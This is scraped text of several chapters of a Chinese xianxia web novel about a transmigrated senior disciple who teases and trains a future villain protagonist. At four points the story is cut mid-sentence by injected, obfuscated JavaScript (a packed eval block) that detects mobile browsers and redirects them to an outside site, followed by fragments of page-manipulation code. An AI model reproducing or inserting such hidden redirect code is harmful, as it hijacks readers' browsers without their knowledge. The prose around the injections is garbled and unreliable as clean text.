这绝对是灵力炼制的法宝,符水门转头时,刚在心中这么想,转眼而已,黑衣少年身影消失,紧接着是闪烁如浪的层叠刀光。 他并未表现出筑基级别的战力,但速度却出奇的快,炼制的宝刀更是凶猛,每一斩过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775791|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后都会漫上一层血光。 符文门目瞪口呆,目光差点追不上黑衣少年的动作,回过神时,蛇头便已经被斩落,血溅当场。 好、好猛的刀法! 再一看,那个少年简直就如同屠夫! 他踏着蛇身飞冲,径直奔向暴怒的猿头,手中的刀在空气中剜出一道弯月的形状,随即爆发出恐怖的金属灵力。 还未等符水门反应过来,一场厮杀便已经落幕。 符水门、李长金同时目瞪口呆,只有许清浔拍手称好,仿佛那是一场早有预料但又不失精彩的表演。 灵兽之血乃好东西,蛇尾猿倒下之后,鲜血滚滚流淌,而祁桓及时用灵力牵引了血流,将所有兽血引入他手中的玉瓶之中。 他似乎十分熟悉杀死灵兽后应当如何处理胜利品,熟能生巧,故一转眼间就处理完了尸体。 他手中的刀好像不是武器,而是屠夫手中的菜刀,能准确地切分肢体部位,过程中毫无血腥之感,反而有种……说不出的美感。 李长金深深感慨,不由道:“这小子……七师弟确实本领非常。” 修为暂且不说,那刀法就不是寻常人能炼出来的,天赋强得可怕。 许清浔闻言大喜,“我就说吧,怎么能怀疑大师兄的眼光?” 李长金却转头道:“师兄如此看好他,就不怕他有一天会强过你?” 许清浔更乐了,直抒胸臆:“当然不怕,他再厉害也只能是我的小弟……咳小师弟!” 李长金呆住,面对自家大师兄这近乎与生俱来的自信,他总是不知道该说什么。或许,这就是所谓的强者之心,或者说无敌气概吧。 “我只是担心……”李长金欲言又止,低头道:“他似乎不好控制。” 许清浔摆摆手道:“有师兄在呢,大可放心!” 他们对话的同时,试炼场中的符水门也回过神了,对祁桓那简直刮目相看,赞不绝口。 “七师弟啊,你真是深藏不露,我怎么感觉这丁级试炼场限制你发挥了呢?哦对了,话说回来你根本不需要我保护啊!” 祁桓神色淡淡,没有接话。 而符水门唠个不停,还道:“可算明白大师兄为何看中你了!” 祁桓一顿,忽然转头,看着符水门的眼睛,问道:“许清浔……大师兄看中我么。” 他似乎对“看中”两个字很是怀疑,所以咬字切齿。 符水门并未听出来,还强调道:“对,非常看中,极其看中!” 祁桓面色微妙,带着一种说不出的古怪,又莫名想起了许清浔送的“夫妻佩”,那个人似乎不在意物件的“虚名”,纯粹只是为了与他联络。 符水门摸起下巴,一本正经地分析道:“说真的,我从来没见过大师兄如此在意一个人。” 祁桓愣了愣。 符水门忽地抬眼,莫名认真地看着祁桓,语气郑重道:“所有师弟师妹之中,大师兄对你最好。” 祁桓顿住,难以置信的同时,心中竟还微妙地生出了一分窃喜。 8. 第八章 “大师兄,那小子方才是不是笑了一下?”李长金忽然问。 “有吗?”许清浔急忙转头,却只看见一张假笑的脸,失望道:“什么笑,这不是假笑吗?” 李长金咦了一声,盯着那张温和的少年脸,疑惑道:“我方才看到的并非如此。” 许清浔摆摆手,“罢了,这丁级试炼场看来不够他打,要换场地了。” 里面的符水门仿佛能听到他说什么,立刻急了,祭出画卷叫喊道:“不要啊大师兄,我不行的!” 许清浔大笑道:“放心六师弟,不必你带了,我亲自上阵!” “什么?!” 闻言,符水门身边的祁桓神色一滞,李长金和符水门露出震惊的表情。 符水门激动道:“大师兄你亲自上阵?你就如此看好这个小师弟?” “错了,”许清浔抬起一根食指,“是比赛!我要跟他一起进试炼场,与他比谁狩猎的灵兽多!” 祁桓神色变了。 李长金、符水门愣了愣,有些惊讶,但也算是意料之中,他们大师兄不是第一次心血来潮这般了。 只不过,丙级试炼场内栖息着许多堪比筑基修士的强大灵兽,跟丁级完全不在一个层次,以祁桓的修为是否有些困难? 没等他们开口,祁桓先走到符水门的画卷之前,谦然道:“大师兄高看在下了,师弟实力远远不足以挑战丙级试炼场。” 李长金也开口,劝说道:“他说得对,大师兄可别乱来。” “你们安心,”许清浔眨了眨眼,眼神中没有一丝玩笑之意,罕见地充满了真诚,“他的实力啊,可是深不可测的。” 祁桓神色不变,心头却是一颤又一颤。若是被他人这般“看穿”,他可能早就忍不住杀了对方,抑或者想办法脱身,可偏偏他在对方身上始终感觉不到恶意,因此居然没有一丝紧张感。 自从得到《灭世魔经》后,对他来说他人之心皆可洞明,一个人是恶意还是好意,看其双眼便知,可…… 在他沉思之时,许清浔已经送走符水门,并告辞了李长金,亲身出现在祁桓面前,两人只有一步的距离。 “师弟,你在想什么呢?”许清浔忽地开口,笑吟吟地望着祁桓。 祁桓愣了愣,下意识地抬起头,猝不及防地撞进了一双清澈见底的眸子,不禁露出错愕的眼神。 许清浔一见,十分满意祁桓傻傻的样子,又伸手摸了摸对方的头顶,可惜没舒服一下,就被对方抓住了手腕,一脸凶煞地盯着。 “师弟呀,让师兄摸摸头有何不可。”许清浔竟还义正严辞,低下的眸子透着几分戏谑。 祁桓面色大黑,他发现自己在这个人面前总是无法游刃有余。 “师兄请不要这般打趣师弟。”他不自觉地冷斥道。 “哦?”许清浔看他不装了,不免又走近半步,乐呵呵地问道:“师兄打趣师弟,不是天经地义吗?”说时,他又伸出手,几乎要摸上祁桓的脸。 祁桓瞬间后退一步,严词拒绝道:“我是认真的!” 许清浔还是不太在意,在他眼里,祁桓这样子远比刚刚有活力多了。 “好吧。”许清浔暂时收手,“那言归正传,我们一起去丙级试炼场吧。” “等等。”祁桓立即叫住。 许清浔转头,“等什么?” “我实力不够。不能过去。”祁桓语气凝重,但这句不是实话,他不去是担心自己暴露实力,而不是实力不够。 他早就不是以前那个鲁莽的小孩了。 思及此,他眼神微冷,隐隐透出几分压不住的痛楚。 许清浔嗯了一声,不知有没有看到,就在祁桓以为他会同意时,他大笑着拉拽祁桓的手臂,“怕什么,有师兄在!畏畏缩缩瞻前顾后成得了什么事?就这样也想成仙?也想收拾一切你想收拾的人?” 祁桓刚想抢回手臂,忽地瞳孔收缩,听到“成仙”一句时,他心跳都慢了,听到后面那一句,他更是差点心跳停止。 “忍气吞声在别的地方是生存之道,在我这里可不是。”许清浔大步一迈,竟然出现在高空。 祁桓心绪被打乱,见周围景色变了,下意识抬起头。 接着,那人温暖的呼吸打在他耳畔,声音低而蛊惑地说道:“那师弟就下去自己努力吧?” 什么?祁桓刚意识到不妙,身体的支撑力瞬间消失,紧随其后的是风景的极速变换。 不对,是他在坠落! 与此同时,许清浔已经稳稳着地,听到不远传来的重物砸落之声,他脸上丝毫没有担扰之色。 响吗?响就是好落体! 哥们想走遁道我理解,但龙傲天还是得走王道吧? 许清浔没忍住笑,笑得极其缺德,忽然,他汗毛耸立,仿佛感觉到了一股杀气,毫无疑问正是来自于祁桓。 他眨了眨眼,浑不在意,又大笑道:“哦哦,就是得这样!果然仇恨教育就是比暖心教育好使!” 不过,自信如他,脑海中莫名跳过了一条不详的预感。 ——万一玩过头翻车了怎么办? 那小子的将来,可是一个杀人不眨眼的大变态啊。 许清浔一顿,笑容微微凝固,但沉默片刻后,他还是满脸的自信。 哪有手拿剧本的点家读者穿越了还翻车的道理?说的是吧! 想明白后,他便将担扰抛之脑后,抬头看向远方聚集的狼群。 嗯,丙级试炼场,对他来说也是个小挑战呢。 许清浔青衣翻飞,掌心符文飞舞,片刻后身形突然消失,再之后土地大范围坍塌,法宝的光芒四面照耀。 几乎与此同时,符水门溜达到了外门。 大槐树下,几个新来弟子讨论着。 “听说我们大师兄是这一代的最强?” “我觉得不是听说,你们看,那些平日趾高气扬的大家族子弟在提到大师兄的名字时也是一脸的畏惧。” “我觉得不是,三大宗的首席才应该是最强吧?大师兄在我们宗虽然强,但是放在真正的天才竞技场里,估计只是中上层次而已?” 那个弟子显然不相信大师兄的传说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775792|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他看来,哪个宗门都吹自己的首席,实际上有没有那个实力,还是未知数。 符水门听着,没忍住走了过去,“你们啊,在讨论大师兄的事?” 那几个弟子下意识转过身来,一看符水门穿着内门弟子的衣袍,当即畏缩起来,其中一人连忙道:“是、是我们多嘴了,我们并无冒犯大师兄之意,请师兄不要怪罪。” 符水门毫不在意地摇了摇手指,笑道:“你们会知道的,大师兄的强大,可不只是虚名而已。” 他们闻言,皆抬起了头。 “大师兄,真、真是年轻一代的第一人?” “那自然是!” 符水门笑出一口大白牙。 轰轰!丙级试炼场十分之一的地块正在坍塌,边缘处化作无数符文。 黑衣少年无暇他顾,吃力地对付着两只嗜灵狼。 若此身是分身,可自由使用《灭世魔经》的道术,他绝不至于如此狼狈,偏偏…… 他眼神一暗,分心之时差点又中了嗜灵狼的袭击,身体由于失血过多,已经不再灵敏,躲不过只好举刀硬挡。 “嗷——”嗜灵狼还在增多,闻血而兴奋。 祁桓面色更黑,就在这时他身后远远响起了那道可恨的声音。 “师弟啊,平时积累不足,碰见困难了吧。” 祁桓愕然转头,只见白烟飘飘,远处有个青衣修士正撩起袖子烧烤,察觉到他的视线,那个修士还朝他咧嘴一笑。 他瞬间拳头发硬,恨不得飞过去暴揍那个人一顿。可是他一分心,嗜灵狼立马扑了过来,闪击如电,奔的全是他的要害。 他差一点被咬中了胸腹! 他大怒,又听见那个人慢悠悠地道:“师弟啊,你心态还不行。” 他一听险些气得吐血,偏偏眼前的嗜灵狼越来越多,几乎将他包围起来了。 “依赖外法久了,容易忘记一件事。”远方的青衣修士一边吃着烤肉一边自言自语。 明明声音很轻,却精准地传到了祁桓耳里,气得祁桓绷不住咬牙切齿。 更气的是,他说对了。 祁桓确实在得到《灭世魔经》之后耽于其中的道术,对其他道术缺乏了兴趣。 他听到许清浔的话,下意识就想反问,还不是因为有你在,害得我没办法用《灭世魔经》? 而那个人居然继续道:“耽于外法,迟早会被外法吞噬。就好比借助鬼神行事,终究被鬼神吞噬。” 祁桓面色顿变,拨开嗜灵狼的刀微妙地慢了一下。他莫名联想到了一年前,他过于使用《灭世魔经》中途意识几度丧失的事。 他心思电转,好像瞬间明悟了什么,的确太过依赖《灭世魔经》不是好事……但在三玄宗又如何能接触到其他非凡经书? 在他思考时,那道声音又如一把箭刺穿了他的思想。 “外法有何强?真正的大修士,是要创法而不是学法!” 那一瞬,祁桓的大脑仿佛都在轰鸣。 说话人却在心中理所当然地想着,这才是王道龙傲天的必走之路! 9. 第九章 “师弟呀,是不是觉得大师兄说得很对?” “有没有一种大师兄是人生指路明灯的感觉?” “咋了怎么不说话,又生气了?修行之人天天生气可不行,跟师兄学学保持好心态吧?” 一天折腾下来,祁桓几乎累个半死,四肢百骸之内一丝灵气都不剩了,眼皮也如山峦般巨重无比,仿佛只要一闭上就能睡着,偏偏如此状态下,还有一个人在耳边喋喋不休。 这实在是、实在是!! 祁桓突然停步,双目冷戾地转向身旁,而与此同时,体内一股煞气突然上涌,导致他两眼一黑…… “哎呀,咋突然间投怀送抱呢?”许清浔刚要转头,没想到祁桓一转身便向他扑来,所以顺手就捞住了。 他低头打量着那少年苍白的脸色,以及虽然昏迷却还是紧闭着的眉头,唇线忍不住高高上扬,笑道:“说是男主,也真脆弱。” 许清浔似乎很满意祁桓这个样子,捞走人后便回到守真岛,准备恶搞一顿……噢不,是治疗! 他乐呵呵地将人放在侧榻,然后开始各种搜罗灵材药草,要说咱点家的经典治疗法啊,那当然得是药浴! 许清浔简直笑开了花,完全投入在“重现经典点家”情节之中,点火烧水一气呵成,灵草灵花投入完毕,满屋子都是药香! 好极!不愧是我!许清浔额头微微冒汗,心满意足之后,目光终于投向了床上的少年。 “嘿,我可不是要故意脱你衣服,主要是药浴嘛,你懂的,再说了,都是哥们,你有的我都有!”明明对方不可能听见他的话,许清浔却格外“礼貌”,虽然脱的时候没忍住瞄了一眼,刹时感慨异常。 半个时辰后,时间接近黄昏,祁桓是被热醒的,他做了一个梦,自己被扔到烈火之中灼烧的梦,睁开眼睛一看…… 怎么回事?! 他瞪大眼睛。 却见面前走来了一个青色的身影。 对方还是一副嬉皮笑脸的样子,歪着头对他说:“师弟感觉如何,灵脉是不是都通了?” 祁桓一愣,下意识感知自身,发现自己在丙级试炼场受的伤都好了,不仅如此,修为还有所提升,四肢百骸前所未有的舒泰。 这个人,究竟做了什么? 许清浔收起笑容,肉疼道:“效果很好吧?那些可是师兄珍藏的灵材。” 祁桓又是一愣,难以置信地低下眸子。 “这样的药浴一次就得几百颗上品灵石,师兄这次可真是大出血了啊。”许清浔一阵捶胸顿足。 那样子看上去与其说是大仙宗的首席弟子,不如说是山野小村庄的邻家大哥,让祁桓看着十分错愕。 若是他记得没错的话,许清浔应该是出自那个以雅闻名的许家吧? 祁桓呆楞之时,许清浔忽然抬头,话锋一转道:“所以说,这些钱师弟今后得翻倍还给师兄。” 祁桓顿时傻眼,怀疑了自己的耳朵。 然而,许清浔还一本正经地数着手指,“准确地说,这次一共耗费了五百八十一颗上品灵石,师弟以后发迹了,可不要忘了哦。” 祁桓险些被许清浔气晕,搞不明白这个人到底是要对他好还是对他坏。 许清浔似乎察觉到了他的迷茫,忽然抬手抚摸祁桓的侧脸,像是在帮忙擦干水渍,眼神之中透着一种极……动人的温柔。 祁桓心念微乱,接着听见那人笑呵呵道:“师弟,师兄对你这么好,有没有一种要爱上师兄的冲动呀?” 祁桓一呆,下意识转头,对上了那双好似含情脉脉的桃花眸。 对方绝色容姿,肤白胜雪,他虽从不在意色相,但奈何爱美之心人皆有之,如此距离之下,不禁瞬间失了失神。 而再回过神,便是只剩下那个人“掏心掏肺”的笑声…… 青衣修士大爆笑,笑到不断拍柱,把柱子都拍裂了。 “……”祁桓的脸色黑沉如水,连带着周身的气息也微妙地扭曲了一些。 许清浔笑到肚子疼,一直到察觉到祁桓的视线时才勉强收敛,但还是一副…… 嗯,非常欠揍的表情。祁桓盯着许清浔,仿佛在心中暗暗记恨。 “别这样盯着师兄嘛,一句玩笑而已,哈哈。”许清浔显然是知道祁桓厌恶男同才故意这么说的,上个想要调戏祁桓的男同还没开口就被祁桓杀了。他寻思着,自己都付出这么多灵材了,开个玩笑整整主角又何妨? 再说了,要做王道龙傲天,大度也是不可或缺的重要品格呀。 而祁桓听完他的话,微不可察地哼了一声。 许清浔居然听见了,不只听见了还眼睛大亮,像看到了极其珍稀的画面,目光全部倾注在祁桓身上,罕见的不说话只是注视,令后者不免有些不自在。 这个人又怎么了?祁桓微微蹙眉。 许清浔很快便回过神,自言自语地感动道:“灵石花值了。” 祁桓一愣,“值?” “嗯。”许清浔转头,拍了拍衣袍上并不存在的灰尘,终于收起脸上的轻浮之色,正经道:“还剩下一些药力,你能自己炼化,是不是?” 祁桓沉默了一下,点头道:“当然能,这个无须师兄挂心。” “好,那我先走了,要好好修炼哦。” 许清浔转身便要推门离开。 “等下。”祁桓突然开口。 “还有何事?”许清浔眨了眨眼,一副好奇地望着祁桓。 “师兄究竟想要什么。”祁桓盯着许清浔的眼睛,问道:“为何对我如此关照。” 为何?许清浔侧首,抚着下巴,仿佛在思考。 祁桓对这个问题十分执着,好像若是许清浔不好好回答,他便不知会做出什么事。 屋内热气腾腾,白烟模糊了视野,时间似乎也被蒸得慢了一些。 片刻之后,许清浔轻笑一声,“师弟,你不能自己来想那个原因吗?” 竟是……这样一句反问。 许清浔离开后很久,祁桓心中都还是一片惊诧。 他从未见过这般人。 如此捉摸不透,却又……如此耀目。 - “刚刚那个表情、那个神态!爱了爱了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775793|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许清浔走出门后仍在高兴,那当然啦,他本来喜欢原装祁桓,好不容易看到一点原装风味,怎会不高兴? 单纯鲁莽,又不失灵性,那才是真实的你啊! 许清浔欣慰非常,险些泪目。 此时,不远处传来一道声音。 “大师兄,你这是?” 是符水门的声音。 许清浔小咳一声,仿佛无事发生般抬起脸,转头笑道:“符师弟,这么巧?” 符水门呆住,一脸莫名其妙的表情,片刻才道:“大师兄,你走来了我家门口。” 许清浔大惊,才发现周围环境不对,他住的地方自带兰花香,自己因为想着祁桓的事太过入神,居然走错地方了! 许清浔面色涨红,立马道:“哈哈,那是师兄想你了,特意来看你嘛。” 符水门不相信,“大师兄这两天围着小师弟团团转,哪有什么空找我。” 许清浔尴尬一笑,又义正言辞道:“这不是来了吗?来来,进去,咱们师兄弟两个好久没有交心了。” 符水门一听,连忙道:“今日不行,里头来了一位好友,请教我道法呢。” 许清浔呆住,忽然仿佛懂了什么,双臂抱起,挑眉道:“六师弟也到了找道侣的年纪?” 符水门闻言就像被踩中尾巴的蛇,当即否定道:“大师兄你在说甚?对方是男人!” 许清浔毫不在意,点点头道:“男人也可以做道侣!修道之路不外乎法地材侣,年龄到了找道侣,人之常情!” 符水门汗颜,纠正道:“这句话里的‘侣’也不只是指相伴一生的道侣。” “自然自然,”许清浔十分懂得,“能伴吾之道,助吾之道的,便是侣。” 符水门小咳一声,道:“对,所以大师兄若是没事,师弟便先回去了。” 许清浔重重点头,对符水门道:“若是真有了心仪的对象,可不要忘了告诉大师兄。” 符水门一听就冒冷汗,虽没说话,但眼神仿佛在说,告诉大师兄只怕没有好事吧。 许清浔却一本正经道:“师兄别的或许不行,但在这方面,可谓是绝顶军师啊。” 符水门目瞪口呆,最后不知信了还是没信。 片刻后,天色已暗。 许清浔走远之后,低声感慨道:“我说的可都是真话,我现生单身到二十八岁,身边的哥们都结婚了,除了我,而且诡异的是,之前一些哥们一直没找到对象,跟我玩几天后,立马就谈上对象了,不止一个,十多个都是这样,说明啥?说明我搞不好是恋爱锦鲤体质。” 他对此有点迷信,虽说修士搞迷信很不正经…… “不过话又说回来,祁桓那个天煞孤星的小子不会也能沾到我的锦鲤运吧?” 许清浔停下脚步,一脸见鬼的表情,满眼不可思议。 要说祁桓的对象……好家伙,那可真是完全想象不出来。再说了,究竟什么人才能喜欢上祁桓? 许清浔想到祁桓未来做出的种种变态行径,心想恐怕只有那种瞎了眼失了智的才会愿意做祁桓的道侣吧? 10. 第十章 夜里,许清浔把玩玉简,然而玉简始终没有什么动静,他寻思,《原始太虚经》不会睡死了吧,怎么一天过去了都没醒? 像这种长生生物的时间观念……好吧,确实指望不上。许清浔收回玉简自己修行,一夜过去,修行圆满,精神也十分饱满! - 晨时,某修炼室内。 “许清浔当我是什么?我此身没钱,可分身有的是钱,区区几百颗上品灵石,算得了什么,便是几万我也付得起。”祁桓黑着脸道。 他上次在蝶湖秘境收获颇丰,当中尤其珍贵的是三大宗内门弟子的法宝、符箓以及丹药,所谓修士,依仗的不外乎这三样,三大宗之强大,一半也在于此。 就是可惜,外面的人盯得太紧,这些东西无法原样卖出,法宝和符箓都只能炼化了他们宗门的独门符印才能卖出,导致他现在……不得不拮据。 “我来此地,除了找个安全的身份之外,还有一个更大的目标,那便是三玄宗宗主,其实若是师兄等人并未发现我之事,如今太上长老七弟子的身份也未尝不可。” “就是师兄……太过捉摸不透。” 想起那人临走时的轻薄言语,祁桓神色一滞,意味不明道:“师兄对他人也会那般吗……” 话音未落,突然一道声音响起。 “师弟怎么了?想师兄了?” 祁桓面色大变,当即抬起头,果不其然看到了那道青色的身影。 今日阳光灿烂,照在那人本就洁白无瑕的脸上,透着一种玉石般的光泽感。 那人美得像虚假之物,偏偏一双眸子灵性十足,长睫眨动,更牵人心。 祁桓自认并非爱色相之人,可是…… 没等他疑惑完,“绝世美人”自己打破了那份虚幻,竟仰天大笑起来,笑得他面红耳赤,仿佛做了什么极丢人之事。 青衣修士笑完才道:“师弟刚刚是看呆了吗?” 祁桓一顿,忍不住咬牙。 许清浔非常理解般道:“哈哈,放心,师兄理解的,毕竟爱美之心人人皆有嘛。”说着他还拍了拍祁桓的肩膀,勾肩搭背的动作之快好像已经习惯了有十多年。 祁桓皱眉,一动不动,被迫闻到了那人身上十分好闻的兰花香。 对方不知为何在屋子里种了一堆兰花,所说之话所做之事,没有一样在人之预料。 祁桓深吸了一口气,强作温和道:“师兄今日找师弟何事。” 许清浔眨了眨眼,凑近道:“昨日还好吗?” “托师兄之福,拜师兄赐教,师弟昨日进步飞快。” 祁桓这次说的是真话,他没想到只是认识这个人几天而已,自己的修行就仿佛发生了层次之变。 “哈哈哈那就好。”许清浔又没忍住祸害一下祁桓的脸,“师兄说得没错吧?师兄是这世上最了解你的人。” 祁桓瞳孔一震,又惊又怒,以及忌惮。 “师兄与我,不是才相识吗。” “你不知道‘一见如故’的说法吗?我觉得我与你就是这样呢?”许清浔歪了歪头,眼神中没有一丝虚假。 祁桓一呆,下意识道:“那是风流之人哄骗人的话术罢了。” 许清浔乐了,追问道:“师弟小小年纪也知何谓风流?” “当然,”祁桓不甘被许清浔小看,立刻答道:“那是……” 他只说到了一半,忽然眼神暗了下来,脑袋地压低了几分。 许清浔似有所料,在气氛即将变得凝重之时大笑道:“小事休提!今日师兄找师弟呀,是为了帮师弟挑选法宝!” 祁桓神色一变,不禁抬起头来。 “当然了,三玄宗没啥好东西,就算有,也被那些老头子占据了,所以咱们去八宝城吧!”许清浔拍了拍祁桓的后背,竖起大拇指,保证道:“师兄亲自给你挑法宝,绝对适合你!” 祁桓呆住,还没想明白,人就已经被拉着走了一段路,抗拒不成了。这种事情,上次发生的时候还是他父亲当年拉着他上街时…… “还在发呆?” 那道声音又一次打破他的回忆,随之而来的还有一股痛楚,祁桓痛得抚额,目光幽怨无比地盯着刚刚那个弹额的人。 “别发呆了,三宝城遍地是宝也遍地危机,你这样啊指不定一下船就被杀人夺宝了。” 许清浔双手收于袖中,饶有趣味地打量着祁桓。 他们已经坐在了前往八宝城的飞舟之上,窗外尽是风景。 祁桓皱眉,似乎不以为然,他有《灭世魔经》在,虽现在实力还不够,但逃走绝对不是问题。 偏偏许清浔好像看破了他的心思,又抬指弹了他的额头,“你该不会想着打不过就跑吧?虽然也有那种类型的,但你可是走王道路线的啊!” 什么类型?什么王道路线? 祁桓一脸茫然,这个人终于开始胡说八道了吗。 许清浔收回手,摸着下巴道:“打不过就遁确实也是一种经典,某人的外号不是韩跑跑吗?但逃归逃,人家心性可没输。” 祁桓忍无可忍,“师兄究竟在说什么?” 许清浔一顿,摇摇头道:“没什么,就是想着你还有无限的可能,可以成为任何人。” 祁桓更加困惑。 罢了,这个人的莫名其妙也不是现在才开始的了。 话虽如此,许清浔在讲解方面可谓是详尽非常,对八宝城的了解令祁桓内心震惊。 “八宝城外城多散修,内城嘛……”许清浔没有说,但答案很明显,内城多的是那些有势力的修士,或者是实力超凡的散修。 “纪元覆灭又重演,灵气逐渐复苏,各色人等由弱而强,开始吃尽红利,剩下无红利可吃,那能怎么办?自然是内斗,夺他人之食哉。” 他并不解释什么叫“红利”,但这段话的意思也很明显。 祁桓沉默不语,听着许清浔讲诉。 “想要改变现状,唯有一个方法,那就是成为最强的那个可以制定规则的人,你说是不是?”许清浔看向祁桓,像个循循善诱的老师。 祁桓表面平静,其实心中有些诧异,这个人表面吊儿郎当,居然心怀如此想法。 “到了,下船吧!” 许清浔听到越来越近的喧闹声,当即站起身来,兴致勃勃道:“走,跟着师兄!” “是。”祁桓下意识地跟话,说了才发觉。 所谓八宝城,其实并非陆地上的城池,而是一座巨大无边的天空城池,据说是化神大能的神通法宝所化, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775794|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至今为止已经存在有八百多年。 八宝城的中央大地一望无际,四周还有八卦小城,一看便是阵地构造。城中一共三层,外低中高,最中间也是最高的楼阁据说是城主的居所,寻常人不敢接近。 入八宝城一般须上交符印或交灵石,对许清浔两人来说,上交三玄宗的符印就够了。 入八宝城后,入目即是身穿各色道袍的修士,他们人来人往,皆目放精光,观察着周围的人。 如此巨大的城,祁桓其实也是第一次看见,他甚至在想,自己会不会在这里遇到那个灭族之人。 “别紧张,慢慢走。” 许清浔随手牵着祁桓,光明正大地走进人群之中,丝毫不顾周围人的视线。 祁桓又一次被迫中断了回忆,只好陪着那个人向前走。 与此同时,八宝城中心的天蝉阁。 “御天宗损失惨重,在那处遇到了前所未见的恐怖之人。” “他们并未获得御天经?” “并未,甚至见都见不到。看据那个人的态度,御天经应该就在其中。” “如此说来,究竟是何人放出了御天经的消息?” 几个大修交换视线,似乎都不明白其中原因。 “不是说李家吗,据我收到的消息,是李家的修士意外发现了这消息,后来不小心走漏风声,才被御天宗知道。”一老者寻思道。 “老夫还是觉得不可思议,那个守门的强者不像会放过任何一个活口的人,李家的人不仅成功进去,还活着回来了,这……” 他们似乎有所怀疑,但无从验证,一来李家地位非凡,家主从来强势,说一不二,再二来李家绝无故意透露消息的理由,李家与御天宗并无仇恨关系。 “想来想去,这背后都无阴谋可说,只是御天宗自不量力,然后被狠狠教训了一顿,如此而已。” 这似乎是他们的结论。 也是同时,八宝城街道上,听到路人聊着御天宗损失惨重的消息,许清浔忍不住笑出了声。 “师兄在笑什么?”祁桓眉头一皱。 “没什么没什么,只是笑因果报应,想灭别人宗门的人,到头来却落得个恐怕要被他人灭宗的结局。”许清浔神秘一笑,转头给了祁桓一个道不清的眼神。 祁桓不是傻子,自然知道他说的是御天宗,可他不明白,御天宗之事与许清浔何关,为何许清浔仿佛早就知道了? 他正困惑,面前突然传来一道声音。 “大师兄,这位便是七师弟吗。” 祁桓当即抬头,只见面前站着一位气度非凡的男子。 许清浔松开牵着他的手,走向前去,笑道:“是,二师弟你可终于愿意出一趟家门了啊。” 二师弟,李长金?祁桓顿时凛然。 李长金,那可是这一代千年世家的天才之中,最有名望的几个之一,一说他表面温和,实则是一个心狠手辣之辈。按理说,以他的身份,根本不应该去三玄宗,而是应该去三大宗的任一个,然而……谁也不知道李长金为何作出如此选择。 而下一刻,祁桓抬起头,便见青衣修士正放肆揉摸鼎鼎大名的李长金的脑袋。 “……” 他好像知道李长金为何来三玄宗了。 11. 第十一章 李长金打量了祁桓片刻,还没说话便被许清浔搭走,被迫转身。 “如何如何,他挺不错吧?”许清浔兴致勃勃道。 李长金点头,“实力是很不错。” 但他还是没明白许清浔为何在意那个少年。 天才在如今的世道已经不算少见,每个门派都有一批天才,甚至他自己也是众人口中的天才。 天才对他来说,意义并不大。 “看着便是。” 许清浔似乎对祁桓非常信任,有种发自内心的自豪。 李长金不禁纳闷,莫非大师兄早就认识了祁桓? 三人走着,目的地自不用说,当然是八宝城最有名的法宝集会地,也即玄界最大的法宝交易之地,任何法宝都可能在这里出现,也因此,常常发生血腥之事,寻常修士若是没有一点本事在身,绝对不敢轻易踏足于此地。 其实,对许清浔来说,这次也是他第一次来的地方,所以他才为了导游叫上李长金。 李家在这里有一定势力,当然,许家也有……啊算了,还是尽量不要被便宜爹妈发现吧。 许清浔微微冒汗,来时没想太多,来了才察觉,万一碰上许家人,自己不会也被抓回去吧? 他压下想法,想起跟在后面的祁桓,等等,祁桓的脚步声呢? 许清浔突然停步,转身看去。 只见,那个黑衣少年不知何时停了下来,面无表情地盯着那个方向。 许清浔顺着他的视线看去,那里人声鼎沸,某小摊位前,一个灰头土脸的女孩哭着大喊,声音模糊不清,隐约听到好像在说什么法宝什么父亲,才炼气三层而已的修为居然敢从筑基强者手里抢夺一柄破剑。 他停步,李长金也跟着停步,也看到了他眼里的画面。 法宝贩子怒了,抬手就要给女孩一巴掌,那手掌凝聚的灵力足以活活拍死那个女孩。 周围人视若无睹,没有人会理会。 许清浔盯着那一幕,眉头一皱,余光同时看着黑衣少年。 那少年低着眸子,不知看没看,表情晦暗不明。 贩子一掌拍下的时间不过是一念间的功夫,容不得任何迟疑。 